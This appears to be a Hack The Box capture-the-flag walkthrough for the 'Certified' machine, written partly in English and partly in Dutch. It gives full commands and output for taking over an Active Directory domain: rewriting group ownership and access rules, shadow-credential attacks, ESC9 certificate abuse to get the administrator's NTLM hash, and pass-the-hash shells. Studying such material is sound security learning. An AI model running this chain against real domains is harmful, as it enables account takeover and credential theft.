htb certified
This box starts with a given low-privileged username and password like in a real pen-test [ judith.mader:judith09 ]
We verify this credentials, and check if we can add computer accounts
.
┌──(puck㉿kali)-[~/htb/certified] └─$ netexec ldap certified.htb -u "judith.mader" -p 'judith09' -M maq SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False) LDAP 10.10.11.41 389 DC01 [+] certified.htb\judith.mader:judith09 MAQ 10.10.11.41 389 DC01 [*] Getting the MachineAccountQuota MAQ 10.10.11.41 389 DC01 MachineAccountQuota: 10
We do a targeted kerberoast ( after running sudo ntpdate -s certified.htb , to sync the clock ) if we can crack management_svc ‘s password , but we can’t
──(puck㉿kali)-[~/vulnlab/delegate/targetedKerberoast] └─$ python3 targetedKerberoast.py -u 'judith.mader' -p 'judith09' --request-user management_svc -d 'certified.htb' [*] Starting kerberoast attacks [*] Attacking user (management_svc) [+] Printing hash for (management_svc) $krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$ededf--snip--7863 .. hashcat -a 0 -m 13100 management_svc.hash /usr/share/wordlists/rockyou.txt -o cracked -> hash can not be cracked!
We can add an computer account, but this is a dead end.
┌──(puck㉿kali)-[~/vulnlab/delegate/krbrelayx] └─$ python3 dnstool.py -u 'certified\judith.mader' -p judith09 -r puckie.certified.htb -d 10.10.11.41 --action add dc01.certified.htb -dns-ip 10.10.11.41 [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully
ADCS
It’s always worth taking a look at Active Directory Certificate Services (ADCS). Certipy is a nice tool to do that from my VM. I’ll use the find
command along with the -vulnerable
flag and the creds to look for vulnerable certificate templates that judith.mader can abuse:
┌──(puck㉿kali)-[~/htb/certified] └─$ certipy-ad find -vulnerable -u judith.mader -p judith09 -dc-ip 10.10.11.41 -stdout Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA [!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error. [*] Trying to get CA configuration for 'certified-DC01-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Got CA configuration for 'certified-DC01-CA' [*] Enumeration output: Certificate Authorities 0 CA Name : certified-DC01-CA DNS Name : DC01.certified.htb Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb Certificate Serial Number : 36472F2C180FBB9B4983AD4D60CD5A9D Certificate Validity Start : 2024-05-13 15:33:41+00:00 Certificate Validity End : 2124-05-13 15:43:41+00:00 Web Enrollment : Disabled User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Owner : CERTIFIED.HTB\Administrators Access Rights ManageCertificates : CERTIFIED.HTB\Administrators CERTIFIED.HTB\Domain Admins CERTIFIED.HTB\Enterprise Admins ManageCa : CERTIFIED.HTB\Administrators CERTIFIED.HTB\Domain Admins CERTIFIED.HTB\Enterprise Admins Enroll : CERTIFIED.HTB\Authenticated Users Certificate Templates : [!] Could not find any certificate templates ┌──(puck㉿kali)-[~/htb/certified]
It gives information about the CA itself, but doesn’t show templates, as there are none that are exploitable from judith.mader.
Get some BloodHound data
┌──(puck㉿kali)-[~/htb/certified] └─$ bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip INFO: Found AD domain: certified.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: dc01.certified.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc01.certified.htb INFO: Found 10 users INFO: Found 53 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: DC01.certified.htb INFO: Done in 00M 03S INFO: Compressing output into 20250405010819_bloodhound.zip
Shortest Paths to Domain Admins from Owned Principals shows
Shell as Management_SVC
Modify Owner
I’ll use an Impacket example script, owneredit.py
to modify the owner.
Modify Rights
Next I need to give judith.mader the rights to add users:
There is a cleanup script resetting the status of things, so if this fail for permissions issues, I’ll just re-run the modify owner & modify rights command.
Add to Management
Next I’ll use the net
binary to add judith.mader to the Management group:
┌──(puck㉿kali)-[~/htb/certified] └─$ impacket-owneredit -action write -new-owner judith.mader -target management certified/judith.mader:judith09 -dc-ip 10.10.11.41 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Current owner information below [*] - SID: S-1-5-21-729746778-2675978091-3820388244-512 [*] - sAMAccountName: Domain Admins [*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb [*] OwnerSid modified successfully! ┌──(puck㉿kali)-[~/htb/certified] └─$ impacket-dacledit -action 'write' -rights 'WriteMembers' -principal judith.mader -target Management 'certified'/'judith.mader':'judith09' -dc-ip 10.10.11.41 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] DACL backed up to dacledit-20250404-233809.bak [*] DACL modified successfully! ┌──(puck㉿kali)-[~/htb/certified] └─$ net rpc group addmem Management judith.mader -U "certified.htb"/"judith.mader"%"judith09" -S 10.10.11.41 ┌──(puck㉿kali)-[~/htb/certified] └─$ net rpc group members Management -U "certified.htb"/"judith.mader"%"judith09" -S 10.10.11.41 CERTIFIED\judith.mader CERTIFIED\management_svc
or we do it wit PowerView and BloodyAD
We continue on Bloodhound Analysing
Bloodhoud finds
The user JUDITH.MADER@CERTIFIED.HTB has the ability to modify the owner of the group MANAGEMENT@CERTIFIED.HTB.
Object owners retain the ability to modify object security descriptors, regardless of permissions on the object’s DACL.
To change the ownership of the object, you may use the Set-DomainObjectOwner function in PowerView.
Set-DomainObjectOwner -Credential $Cred -TargetIdentity "MANAGEMENT@CERTIFIED.HTB" -OwnerIdentity judith.mader
.
┌──(puck㉿kali)-[~/htb/rebound/powerview.py] └─$ powerview certified.htb/judith.mader:'judith09'@certified.htb Logging directory is set to /home/puck/.powerview/logs/certified-judith.mader-certified.htb (LDAPS)-[DC01.certified.htb]-[CERTIFIED\judith.mader] PV > Get-DomainObjectAcl -Identity judith.mader ObjectDN : CN=Judith Mader,CN=Users,DC=certified,DC=htb ObjectSID : S-1-5-21-729746778-2675978091-3820388244-1103 ACEType : ACCESS_ALLOWED_OBJECT_ACE ACEFlags : None AccessMask : ReadProperty ObjectAceFlags : ACE_OBJECT_TYPE_PRESENT ObjectAceType : 4c164200-20c0-11d0-a768-00aa006e0529 InheritanceType : None SecurityIdentifier : RAS and IAS Servers (S-1-5-21-729746778-2675978091-3820388244-553)
.
1st add judith as owner
PV > Set-DomainObjectOwner -TargetIdentity "Management" -PrincipalIdentity 'judith.mader' [2024-12-13 12:04:15] [Set-DomainObjectOwner] Changing current owner S-1-5-21-729746778-2675978091-3820388244-512 to S-1-5-21-729746778-2675978091-3820388244-1103 [2024-12-13 12:04:15] [Set-DomainObjectOwner] Success! modified owner for CN=Management,CN=Users,DC=certified,DC=htb (LDAPS)-[DC01.certified.htb]-[CERTIFIED\judith.mader] PV >
or use
┌──(puck㉿kali)-[~/htb/rebound/bloodyAD] └─$ python3 bloodyAD.py --host "10.10.11.41" -d "certified.htb" -u "judith.mader" -p "judith09" set owner Management judith.mader [!] S-1-5-21-729746778-2675978091-3820388244-1103 is already the owner, no modification will be made
2nd add user to group with powerview.py and then : Add-DomainObjectAcl -TargetIdentity “Management” -PrincipalIdentity ‘judith.mader’
PV > Add-DomainObjectAcl -TargetIdentity "Management" -PrincipalIdentity 'judith.mader' [2024-12-13 12:08:52] [Add-DomainObjectACL] Found target identity: CN=Management,CN=Users,DC=certified,DC=htb [2024-12-13 12:08:52] [Add-DomainObjectACL] Found principal identity: CN=Judith Mader,CN=Users,DC=certified,DC=htb [2024-12-13 12:08:52] Adding FullControl to S-1-5-21-729746778-2675978091-3820388244-1104 [2024-12-13 12:08:52] DACL modified successfully! (LDAPS)-[DC01.certified.htb]-[CERTIFIED\judith.mader] PV >
.
(LDAPS)-[DC01.certified.htb]-[CERTIFIED\judith.mader] PV > Get-DomainGroupMember -Identity 'Management' GroupDomainName : Management GroupDistinguishedName : CN=Management,CN=Users,DC=certified,DC=htb MemberDomain : certified.htb MemberName : management_svc MemberDistinguishedName : CN=management service,CN=Users,DC=certified,DC=htb MemberSID : S-1-5-21-729746778-2675978091-3820388244-1105
next
.
Get NTLM for Management_SVC
It suggests either a Targeted Kerberoast,( that didnt’t work ) or a Shadow Credential. I like Shadow Credentials here, so I’ll go with that.
Add Shadow Credential
The abuse information shows using pywhisker, but I’ll use certipy
:
┌──(puck㉿kali)-[~/htb/certified] └─$ certipy-ad shadow auto -username judith.mader@certified.htb -password judith09 -account management_svc -target certified.htb -dc-ip 10.10.11.41 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Targeting user 'management_svc' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '337329a0-fdf7-859c-8b08-3dcc3721a95b' [*] Adding Key Credential with device ID '337329a0-fdf7-859c-8b08-3dcc3721a95b' to the Key Credentials for 'management_svc' [*] Successfully added Key Credential with device ID '337329a0-fdf7-859c-8b08-3dcc3721a95b' to the Key Credentials for 'management_svc' [*] Authenticating as 'management_svc' with the certificate [*] Using principal: management_svc@certified.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'management_svc.ccache' [*] Trying to retrieve NT hash for 'management_svc' [*] Restoring the old Key Credentials for 'management_svc' [*] Successfully restored the old Key Credentials for 'management_svc' [*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584
This prints out the NTLM hash for the management_svc account.
WinRM
Check Hash
With that hash, I’ll check that it works for SMB and WINRM :
┌──(puck㉿kali)-[~/htb/certified] └─$ nxc winrm certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584 WINRM 10.10.11.41 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb) WINRM 10.10.11.41 5985 DC01 [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584 (Pwn3d!)
Shell
I’ll use Evil-WinRM to get a shell on Certified:
puck@kali$ evil-winrm -i certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\management_svc\Documents>
And on the desktop get user.txt
:
Auth as CA_Operator
Enumeration
Users
There are not any other users besides administrator with home directories on the box:
ADCS
I’ll run certipy
as management_svc to look for vulnerable templates, but the output is exactly the same as the previous run with judith.mader:
┌──(puck㉿kali)-[~/htb/certified] └─$ certipy-ad find -vulnerable -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.10.11.41 -stdout Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [--snip-- CERTIFIED.HTB\Enterprise Admins Enroll : CERTIFIED.HTB\Authenticated Users Certificate Templates : [!] Could not find any certificate templates
Shadow Credential
Get NTLM
I already found above that the management_svc user has GenericAll
over the CA_Operator user. I can use the same attack as above ( had to run it twice!), writing a Shadow Credential to get the NTLM hash of this user:
┌──(puck㉿kali)-[~/htb/certified] └─$ certipy-ad shadow auto -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -account ca_operator -target certified.htb -dc-ip 10.10.11.41 Certipy v4.8.2 - by Oliver Lyak (ly4k) [-] Got error: socket connection error while opening: [Errno 113] No route to host [-] Use -debug to print a stacktrace ┌──(puck㉿kali)-[~/htb/certified] └─$ certipy-ad shadow auto -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -account ca_operator -target certified.htb -dc-ip 10.10.11.41 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Targeting user 'ca_operator' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID 'ec0fddf6-4138-5004-c393-e685fa87751d' [*] Adding Key Credential with device ID 'ec0fddf6-4138-5004-c393-e685fa87751d' to the Key Credentials for 'ca_operator' [*] Successfully added Key Credential with device ID 'ec0fddf6-4138-5004-c393-e685fa87751d' to the Key Credentials for 'ca_operator' [*] Authenticating as 'ca_operator' with the certificate [*] Using principal: ca_operator@certified.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'ca_operator.ccache' [*] Trying to retrieve NT hash for 'ca_operator' [*] Restoring the old Key Credentials for 'ca_operator' [*] Successfully restored the old Key Credentials for 'ca_operator' [*] NT hash for 'ca_operator': b4b86f45c6018f1b664f70805f45d8f2 ┌──(puck㉿kali)-[~/htb/certified]
Validate
The hash works:
puck@kali$ nxc smb dc01.certified.htb -u ca_operator -H b4b86f45c6018f1b664f70805f45d8f2
SMB 10.10.11.41 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\ca_operator:b4b86f45c6018f1b664f70805f45d8f2
But not for WinRM:
Shell as administrator
Enumerate ADCS
I’ll run the same certipy
command again, this time as ca_operator, and this time the results are different:
┌──(puck㉿kali)-[~/htb/certified] └─$ certipy-ad find -vulnerable -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -dc-ip 10.10.11.41 -stdout Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA [!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error. [*] Trying to get CA configuration for 'certified-DC01-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Got CA configuration for 'certified-DC01-CA' [*] Enumeration output: Certificate Authorities 0 CA Name : certified-DC01-CA DNS Name : DC01.certified.htb Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb Certificate Serial Number : 36472F2C180FBB9B4983AD4D60CD5A9D Certificate Validity Start : 2024-05-13 15:33:41+00:00 Certificate Validity End : 2124-05-13 15:43:41+00:00 Web Enrollment : Disabled User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Owner : CERTIFIED.HTB\Administrators Access Rights ManageCertificates : CERTIFIED.HTB\Administrators CERTIFIED.HTB\Domain Admins CERTIFIED.HTB\Enterprise Admins ManageCa : CERTIFIED.HTB\Administrators CERTIFIED.HTB\Domain Admins CERTIFIED.HTB\Enterprise Admins Enroll : CERTIFIED.HTB\Authenticated Users Certificate Templates 0 Template Name : CertifiedAuthentication Display Name : Certified Authentication Certificate Authorities : certified-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectRequireDirectoryPath SubjectAltRequireUpn Enrollment Flag : NoSecurityExtension AutoEnrollment PublishToDs Private Key Flag : 16842752 Extended Key Usage : Server Authentication Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Validity Period : 1000 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Permissions Enrollment Permissions Enrollment Rights : CERTIFIED.HTB\operator ca CERTIFIED.HTB\Domain Admins CERTIFIED.HTB\Enterprise Admins Object Control Permissions Owner : CERTIFIED.HTB\Administrator Write Owner Principals : CERTIFIED.HTB\Domain Admins CERTIFIED.HTB\Enterprise Admins CERTIFIED.HTB\Administrator Write Dacl Principals : CERTIFIED.HTB\Domain Admins CERTIFIED.HTB\Enterprise Admins CERTIFIED.HTB\Administrator Write Property Principals : CERTIFIED.HTB\Domain Admins CERTIFIED.HTB\Enterprise Admins CERTIFIED.HTB\Administrator [!] Vulnerabilities ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
There’s a template named CertifiedAuthentication that is vulnerable to ESC9.
ESC9 Background
This page talks about the background for ESC9. ESC9 requires three conditions:
StrongCertificateBindingEnforcement
not set to2
(default:1
) orCertificateMappingMethods
containsUPN
flag- Certificate contains the
CT_FLAG_NO_SECURITY_EXTENSION
flag in themsPKI-Enrollment-Flag
value - Certificate specifies any client authentication EKU
The attacker also needs to have access to an account that has GenericWrite
over the another account.
The attack from here is to change the userPrincipalName
(or UPN) of the second account to Administrator
. This is explicitly not Administrator@domain
, as that would conflict with the legit administrator account.
When I request a certificate as the second account, the server will return one with the UPN Administrator
and no SID.
When I use this certificate, Windows is nice enough to assume that domain is it’s domain, and authenticate as administrator.
Exploit ESC9
To exploit ESC9, I’ll abuse my access to the management_svc account that has GenericAll
over the ca_operator account, using it to change the userPrincipalName
of ca_operator to be Administrator:
1st check the current UPN [ userPrincipalName: ca_operator@certified.htb ]
┌──(puck㉿kali)-[~/htb/certified] └─$ ldapsearch -x -H ldap://certified.htb -D "judith.mader@certified.htb" -w "judith09" -b "DC=certified,DC=htb" "(sAMAccountName=ca_operator)" userPrincipalName # extended LDIF # # LDAPv3 # base <DC=certified,DC=htb> with scope subtree # filter: (sAMAccountName=ca_operator) # requesting: userPrincipalName # # operator ca, Users, certified.htb dn: CN=operator ca,CN=Users,DC=certified,DC=htb userPrincipalName: ca_operator@certified.htb
next change the userPrincipalName
of ca_operator to be Administrator:
┌──(puck㉿kali)-[~/htb/certified] └─$ certipy-ad account update -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -dc-ip 10.10.11.41 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Updating user 'ca_operator': userPrincipalName : Administrator [*] Successfully updated 'ca_operator'
Now I’ll request a certificate as ca_operator using the vulnerable template: ( again had to run it twice )
┌──(puck㉿kali)-[~/htb/certified] └─$ certipy-ad req -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [-] Got error: The NETBIOS connection with the remote host timed out. [-] Use -debug to print a stacktrace ┌──(puck㉿kali)-[~/htb/certified] └─$ certipy-ad req -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 4 [*] Got certificate with UPN 'Administrator' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx'
I’ll note that the UPN is Administrator and there’s no SID in the certificate. After this step, I’ll cleanup by changing ca_operator’s upn back to what it was:
┌──(puck㉿kali)-[~/htb/certified] └─$ certipy-ad account update -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.10.11.41 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Updating user 'ca_operator': userPrincipalName : ca_operator@certified.htb [*] Successfully updated 'ca_operator'
This is more than just for OPSEC. Leaving this will lead to failure. It’s not 100% clear to me why at this point.
I’ll use the certificate to get the administrator’s NTLM hash:
┌──(puck㉿kali)-[~/htb/certified] └─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.41 -domain certified.htb Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Using principal: administrator@certified.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
Shell
The NLTM hash is all I need to get a shell over Evil-WinRM as administrator:
┌──(puck㉿kali)-[~/htb/certified] └─$ evil-winrm -i certified.htb -u administrator -H 0d5b49608bbce1751f708748f67e2d34 Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami certified\administrator
.
That was Fun
.
Pywhisker way:
To prevent pywhisker error [!] module ‘OpenSSL.crypto’ has no attribute ‘PKCS12’ , run it in a Virtualized Python Environment !
┌──(puck㉿kali)-[~/tools/pywhisker/pywhisker] └─$ source venv/bin/activate ┌──(venv)─(puck㉿kali)-[~/tools/pywhisker/pywhisker] └─$ python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p 'judith09' --target "management_svc" --action "list" [*] Searching for the target account [*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb [*] Attribute msDS-KeyCredentialLink is either empty or user does not have read permissions on that attribute
Op dit punt downloaden we de BloodHound-informatie opnieuw en laden deze opnieuw in BloodHound om te bekijken. De nieuw toegevoegde curven zijn wat we zojuist hebben aangepast.
In de tweede fase heeft u volledige controle over de management_svc-gebruiker
De hieronder gebruikte methode wordt Shadow Credential-aanval genoemd. Gebruik pywhisker om de inhoud van het msDs-KeyCredentialLink-kenmerk toe te voegen aan de management_svc-gebruiker.
Nadat u een gebruiker met hoge bevoegdheden heeft verkregen, voegt u Shadow Credential (msDS-KeyCredentialLink-attribuut) toe aan de doelgebruiker en combineert u deze met relevante aanvalshulpmiddelen om het .pfx-privésleutelcertificaatbestand te verkrijgen. Gebruik vervolgens het .pfx-bestand om dat van de doelgebruiker aan te vragen TGT en verkrijg vervolgens de NTLM Hash .
https://mrwq.github.io/aggregate-paper/butian/%E7%BA%A2%E9%98%9F%E5%9F%9F%E6%B8%97%E9%8 0%8F%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E6%8A%80%E6%9C%AF%EF%BC%9ASschaduw%20Inloggegevens/
Vóór uitvoering kunt u zien dat dit kenmerk van de management_svc-gebruiker leeg is.
we voeren uit
┌──(puck㉿kali)-[~/htb/certified] └─$ python3 -m venv venv ┌──(puck㉿kali)-[~/htb/certified] └─$ source venv/bin/activate ┌──(venv)─(puck㉿kali)-[~/htb/certified] └─$ git clone https://github.com/ShutdownRepo/pywhisker.git Cloning into 'pywhisker'... remote: Enumerating objects: 204, done. remote: Counting objects: 100% (75/75), done. remote: Compressing objects: 100% (16/16), done. remote: Total 204 (delta 61), reused 59 (delta 59), pack-reused 129 (from 1) Receiving objects: 100% (204/204), 2.09 MiB | 7.58 MiB/s, done. Resolving deltas: 100% (101/101), done. ┌──(venv)─(puck㉿kali)-[~/htb/certified] └─$ cd pywhisker ┌──(venv)─(puck㉿kali)-[~/htb/certified/pywhisker] └─$ pip3 install -r requirements.txt ┌──(venv)─(puck㉿kali)-[~/htb/certified/pywhisker/pywhisker] └─$ python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p 'judith09' --target "management_svc" --action "add" [*] Searching for the target account [*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb [*] Generating certificate [*] Certificate generated [*] Generating KeyCredential [*] KeyCredential generated with DeviceID: 2c9445d9-22f0-8f97-3274-195daa2cbb14 [*] Updating the msDS-KeyCredentialLink attribute of management_svc [+] Updated the msDS-KeyCredentialLink attribute of the target object [+] Saved PFX (#PKCS12) certificate & key at path: RZGoctPX.pfx [*] Must be used with password: nC5rDtLeeEelChd5aufH [*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools ┌──(venv)─(puck㉿kali)-[~/htb/certified/pywhisker/pywhisker] └─$ ls -la total 64 drwxrwxr-x 2 puck puck 4096 Dec 13 15:47 . drwxrwxr-x 6 puck puck 4096 Dec 13 15:35 .. -rw-rw-r-- 1 puck puck 27 Dec 13 15:35 __init__.py -rw-rw-r-- 1 puck puck 48593 Dec 13 15:35 pywhisker.py -rw-rw-r-- 1 puck puck 2297 Dec 13 15:47 RZGoctPX.pfx ┌──(venv)─(puck㉿kali)-[~/htb/certified/pywhisker/pywhisker]
.
Wijzigingsbewerkingen uitvoeren. Deze synchronisatiebewerking genereert een pfx-bestand in de directory en het wachtwoord dat overeenkomt met pfx wordt in de informatie vermeld.
┌──(venv)─(puck㉿kali)-[~/htb/certified/pywhisker/pywhisker] └─$ python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p 'judith09' --target "management_svc" --action "list" [*] Searching for the target account [*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb [*] Listing devices for management_svc [*] DeviceID: 2c9445d9-22f0-8f97-3274-195daa2cbb14 | Creation Time (UTC): 2024-12-13 14:47:38.292488 ┌──(venv)─(puck㉿kali)-[~/htb/certified/pywhisker/pywhisker]
.
Controleer opnieuw en het geeft aan dat de bewerking succesvol was.
Sync Time with DC
┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools] └─$ sudo ntpdate certified.htb [sudo] password for puck: 2024-12-13 23:03:23.968982 (+0100) +25200.590484 +/- 0.007357 certified.htb 10.10.11.41 s1 no-leap CLOCK: time stepped by 25200.590484
Haal de TGT van management_svc op.
┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools] └─$ python3 gettgtpkinit.py certified.htb/management_svc -cert-pfx RZGoctPX.pfx -pfx-pass 'nC5rDtLeeEelChd5aufH' management_svc.ccache 2024-12-13 23:03:28,154 minikerberos INFO Loading certificate and key from file INFO:minikerberos:Loading certificate and key from file 2024-12-13 23:03:28,169 minikerberos INFO Requesting TGT INFO:minikerberos:Requesting TGT 2024-12-13 23:03:43,399 minikerberos INFO AS-REP encryption key (you might need this later): INFO:minikerberos:AS-REP encryption key (you might need this later): 2024-12-13 23:03:43,400 minikerberos INFO ceaa5fa5921ea307875e75016b1789609e02397cbfc7324edf3f03f0f95e27b3 INFO:minikerberos:ceaa5fa5921ea307875e75016b1789609e02397cbfc7324edf3f03f0f95e27b3 2024-12-13 23:03:43,403 minikerberos INFO Saved TGT to file INFO:minikerberos:Saved TGT to file ┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]
.
Haal ten slotte de NT-hash van management_svc op.
┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools] └─$ ls -la total 88 drwxrwxr-x 4 puck puck 4096 Dec 13 23:03 . drwxrwxr-x 5 puck puck 4096 Dec 13 15:55 .. -rw-rw-r-- 1 puck puck 227 Dec 13 15:55 .editorconfig -rw-rw-r-- 1 puck puck 10960 Dec 13 15:55 getnthash.py -rw-rw-r-- 1 puck puck 8560 Dec 13 15:55 gets4uticket.py -rw-rw-r-- 1 puck puck 14826 Dec 13 15:55 gettgtpkinit.py drwxrwxr-x 8 puck puck 4096 Dec 13 15:55 .git -rw-rw-r-- 1 puck puck 66 Dec 13 15:55 .gitignore -rw-rw-r-- 1 puck puck 1095 Dec 13 15:55 LICENSE -rw-rw-r-- 1 puck puck 1721 Dec 13 23:03 management_svc.ccache drwxrwxr-x 2 puck puck 4096 Dec 13 15:55 ntlmrelayx -rw-rw-r-- 1 puck puck 6412 Dec 13 15:55 README.md -rw-rw-r-- 1 puck puck 21 Dec 13 15:55 requirements.txt -rw-rw-r-- 1 puck puck 2297 Dec 13 16:00 RZGoctPX.pfx ┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools] └─$ export KRB5CCNAME=management_svc.ccache ┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools] └─$ klist Ticket cache: FILE:management_svc.ccache Default principal: management_svc@CERTIFIED.HTB Valid starting Expires Service principal 12/13/2024 23:03:43 12/14/2024 09:03:43 krbtgt/CERTIFIED.HTB@CERTIFIED.HTB ┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]
.
Vervolgens
┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools] └─$ python3 getnthash.py certified.htb/management_svc -key ceaa5fa5921ea307875e75016b1789609e02397cbfc7324edf3f03f0f95e27b3 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Using TGT from cache [*] Requesting ticket to self with PAC Recovered NT Hash a091c1832bcdd4677c28b5a6a1295584
.
Merk op dat de bovenstaande opdrachten zeer hoge eisen stellen aan tijdsynchronisatie. Er is hier een valkuil: we gebruiken de tijd in Amsterdam en HTB gebruikt de UTC-tijd. U moet de tijdzone wijzigen in UTC en vervolgens de lokale tijdupdateservice stoppen (als uw machine is ingeschakeld, heeft de tijdsynchronisatieservice dat wel). ntp, er zijn ook chrony, enz.), en synchroniseer vervolgens met de HTB-machine.
─$ sudo systemctl disable chrony Synchronizing state of chrony.service with SysV service script with /usr/lib/systemd/systemd-sysv-install. Executing: /usr/lib/systemd/systemd-sysv-install disable chrony └─$ sudo ntpdate -u 10.10.11.41 2024-11-06 17:03:32.282248 (+0000) +24466.087108 +/- 0.149565 10.10.11.41 s1 no-leap CLOCK: time stepped by 24466.087108
.
Op dit moment hebben we volledige controle over de management_svc-gebruiker.
In de derde fase bestuurt u de ca_operator-gebruiker
Controleer BloodHound en ontdek dat de management_svc-gebruiker GenericAll-machtigingen heeft voor de ca_operator-gebruiker.
U kunt het management_svc-account gebruiken om het wachtwoord van de ca_operator-gebruiker te wijzigen.
┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools] └─$ pth-net rpc password "ca_operator" "pass1234" -U "certified.htb"/"management_svc"%"a091c1832bcdd4677c28b5a6a1295584":"a091c1832bcdd4677c28b5a6a1295584" -S "DC01.certified.htb" E_md4hash wrapper called. HASH PASS: Substituting user supplied NTLM HASH... ┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]
Controleer of de wijziging is gelukt.
